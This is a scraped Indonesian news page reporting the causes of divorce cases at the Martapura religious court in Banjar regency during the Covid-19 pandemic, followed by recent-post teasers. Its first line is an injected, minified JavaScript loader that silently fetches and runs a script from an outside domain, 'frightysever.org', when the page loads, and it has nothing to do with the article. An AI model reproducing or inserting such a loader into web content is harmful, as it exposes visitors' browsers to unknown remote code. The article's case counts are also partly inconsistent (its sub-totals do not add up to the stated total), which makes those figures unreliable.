(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Dari KDRT hingga Poligami, Ternyata Ini Penyebab Terbanyak Kasus Perceraian di Banjar!


KANALKALIMANTAN.COM, MARTAPURA– Beragam hal menjadi penyebab tingginya kasus perceraian di Kabupaten Banjar, selama pandemi Covid-19. Ketua Pengadilan Agama Martapura, Drs H Pahrur Raji, melalui Panitera Muda Hukum Pengadilan Agama Martapura Helmanie mencatat kenaikan kasus berpuluh kali lipat dari tiga bulan pada awal-awal pandemi dan PSBB Covid-19.

Lalu apa penyebab terbanyak kasus perceraian di Kabupaten Banjar?
Helmanie mengatakan, penyebab kasus perceraian bermacam-macam. Ia mengatakan, data menyebutkan kasus perceraian di Banjar yang disebabkan suami suka mabuk (4 kasus), madat (15 kasus), judi (5 kasus), meninggalkan salah satu pihak (57 kasus), dipenjara (10 kasus).

Lalu karena alasan suami poligami (10 kasus), kekerasan dalam rumah tangga (31 kasus), cacat badan (3 kasus), perselisihan dan pertengkaran terus menerus (555 kasus), kawin paksa (6 kasus), murtad 3 kasus, dan masalah ekonomi (107 kasus).

Dia juga mengatakan, rentang usia paling banyak yang mengajukan cerai di Pengadilan Agama Martapura sendiri dari usia 20 tahun hingga 30 tahun.

Ditanya selama satu tahun pandemi covid -19, percerai di Kabupaten Banjar menurut Helmanie, meningkat pada saat Pembatasan Sosial Berskala Besar (PSBB) silam.

Biasanya sebelum terjadi Pandemi Covid 19, terang Salim, berdasarkan data dalam sebulan rata-rata ada 60 kasus cerai yang disampaikan ke pengadilan agama. Pada tahun 2020 Pengadilan Agama Martapura kelas 1B sudah menerima perkara cerai sebanyak 1.227 kasus. Terdiri dari 636 cerai gugatan dan 174 cerai talak.

Saat ditanya, Kecamatan mana yang paling banyak melayangkan gugatannya ke Pengadilan Agama Martapura kelas 1B Martapura, pihaknya merahasiakan data tersebut. (Kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Cell

 

 


Al Ghifari

Recent Posts

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

19 menit ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

1 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

2 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

5 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

6 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

8 jam ago

This website uses cookies.